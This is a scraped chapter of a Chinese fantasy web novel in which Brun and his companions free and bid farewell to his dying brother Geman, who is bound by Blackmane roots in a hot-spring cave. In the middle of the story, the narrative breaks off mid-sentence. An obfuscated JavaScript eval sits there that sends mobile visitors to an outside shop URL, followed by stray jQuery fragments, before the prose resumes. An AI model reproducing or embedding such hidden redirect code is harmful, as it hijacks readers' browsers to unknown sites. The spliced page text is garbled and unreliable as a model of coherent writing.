文趣网 > 科幻小说 > 我能读取隐藏信息,在废土成神 > 第一百一十章 兄弟间的告别
    泉眼大厅在矿道最深处。

    地热泉眼是一道从石壁底部往上裂开的垂直缺口。滚烫的泉水从缺口深处往上涌,水面在这一层的地板位置形成一个浅潭。

    潭水的边缘结满了白色矿盐结晶,结晶的层数和树干年轮一样分了很多层。最上层那些还没完全硬透,手指一碰就往里陷。

    黑鬃根的根系从缺口深处往上生长。根部是暗红色的,每一根都有手指粗。

    根须在水里往下垂,在空气里伸向四面八方,最长的那几根已经缠上了一截立在潭边的旧石柱。

    而石柱旁边有一个人。

    格曼。

    他的下半身被黑鬃根的老根缠绕了几圈,根系从石柱背后延伸过来,把他锁在了在石柱旁边。

    整个腰部以下都被死死缠住,使他无法动弹。

    他穿着一件矮人款式的旧矿工背心,肩膀和手臂上积累了十几年的矿粉灰把他的皮肤染成了石板色。他的脸还能认出来些许模样,因为常年生活在地下不见阳光,他看起来苍白而虚弱。

    黑鬃对他的影响很深,太阳穴两侧沿着血管方向有两条外翻的毒素沉积线。

    格曼身上的铁链还在束缚着他。链子穿过他腰间的矿工旧皮带,从那些根系中穿了出来。

    他听到脚步声以后把右手从膝盖上抬起来。手里仍旧紧紧握着那盏矿灯。

    没有人知道他这个状态活了多久,甚至不知道他现在还算不算是活着。

    格曼手里矿灯的灯芯早就灭了,灯罩上刻着一个矮人名字。他把灯举到胸口的位置。

    来到这里的几人,先看见了这盏灯,然后才看见后面那个瘦小的人。

    矿灯的外壳上刻着他模糊的名字——格曼。

    格曼看到了来到身前的几人,浑浊的眼睛里突然闪现了几分光泽,他的嘴张了开来。

    但他的声带被蒸汽浸泡了太久,声音很轻。

    格曼用了很长时间才发出第一个音节,就像在回忆怎么说话。

    “它们……还在么?”格曼看着走到眼前的布伦,他那熟悉又陌生的哥哥。

    “都被解决掉了,你不用再担心了。”

    布伦把头低了一下,他的眼里布满了血丝。

    格曼把矿灯往前推了一下。

    他用右手拇指从内侧把灯罩上刻下的一行小字露出来,那行小字比他的名字更细、更深。

    字在灯罩铜皮上,是一组陌生的数字。

    “这是我这十几年来总结出的配方,把不同比例的矿石粉末,经过调和,就能变成可以烧毁黑鬃根的燃料。”

    他把手指在泉眼缺口方向点了一个位置。

    “那里是整个根部的中心,也是外皮最硬的地方。我这把老骨头切不动它。”

    公孙锡把岩锤钢刀收进刀鞘。他拔出库斯克送他的那把骨刀。

    骨刀的刃面上有库斯克在迷雾森林里打磨时留下的纹路,他自从带在身上便每天都有好好保养。

    他把骨刀锋口对准格曼指给他看的黑鬃根的中心位置。那块根心外皮在高温热水中浸泡了几十年,表面硬得像顽石。

    公孙锡将骨刀从侧面角度切进去,用刀尖沿根皮外层的纹理走向一点点撬开。

    第一刀只进去了半寸深,第二刀顺着第一刀的刃口往下走,把外皮划出一道裂口,直到第三刀才剥开一道口子,把内层露了出来。

    布伦把矿粉混进热水调成灰白色浆液,用格曼手里那盏矿灯的灯罩舀了半罩。他把灯罩边缘贴住骨刀切开的裂口,浆液顺着裂口灌了进去。

    格曼把头靠在石柱上。他的眼睛已经模糊地看不清远处的情景了,他在等待预想中的声音。

    石灰一般的浆体灌进根心内部以后,热水加速了反应速度。滋滋啦啦的声音响了起来,随之而来的便是大片的烟雾,黑鬃根虽然在水中,但却像是被腐蚀了一般,开始发生变化。

    根心内部的水分从内部往外渗透,含水量急剧下降,外层硬皮开始往内侧塌陷,塌陷的速度很快,每一次根皮往下陷都伴随着一声类似纸张被揉扁、水分被挤干的声音。

    先萎缩的是黑鬃根的外皮层,然后是内部芯层,最后是上面那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17810290|208910||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    几根还缠在石柱上的细末根须。细根须从尾部开始断裂,像干到极致之后自然开裂。

    整个根系从泉眼深处往里收缩,在很短的片刻内全部脱水变成了灰白色的粉末。粉末沉进潭水里,往下游漂了一小段距离,然后在热泉上升水流的推动下和水中残余的矿粉混合变成沉淀,落在潭底。

    缠住格曼下半身的那些老根也断了。根须碎成粉末从他腿侧散开,落在石板地上。

    布伦把灯芯捏了半寸出来,在矿灯夹层里重新灌进了从泉眼上层取出来的干净热水。

    他把灯放进自己怀里。

    格曼闭上了眼睛。

    “格曼,你从来都没有失职,你是灰泉村最尽职的守泉人,当哥哥的,村长做的也不如你好。”

    公孙锡把骨刀收回刀鞘,莉莉安看着布伦和他的弟弟做完了最后的告别。

    布伦摸了摸灯罩上格曼刻的那些字,他把灯放进怀中。

    “我之前总会到裂窟来看他,自从出了这些事以后,我以为再也见不到他了,没想到今天还能亲眼再看到他一次,陪他走完人生最后一段路,让他看到那些错误和麻烦被解决。”

    布伦站了起来。

    桑焕将格曼抱起,灰泉村的守护人应该埋在可以被纪念的地方。

    几人回到地面,裂窟里的温热不再,北方的寒风迎面吹来。

    莉莉安把那件毡内衬斗篷抖了抖披在肩上试了一下,虽然颜色不太喜欢,但大小厚度刚刚合适。

    石墩在棚外听到她的声音打了一个响鼻,好像已经等待主人很久了。

    铜锈从背包探出鼻尖往斗篷的硬外壳上蹭了一下,那层矿盐硬皮让它想咬又咬不太动,只好把脸贴着蹭。

    公孙锡把那几盏矮人冷锻矿油灯连同斗篷一起,打包绑在北风的鞍侧。

    “这里的事情也算是解决了,剩下就是尽量在天气变得更坏之前,赶到下一个可以过夜的位置。”

    身后裂窟里安静得很,能听见的只有泉眼深处远远的潭水往上冒的声音,和矿道石壁上残存的余热慢慢向外扩散的声响。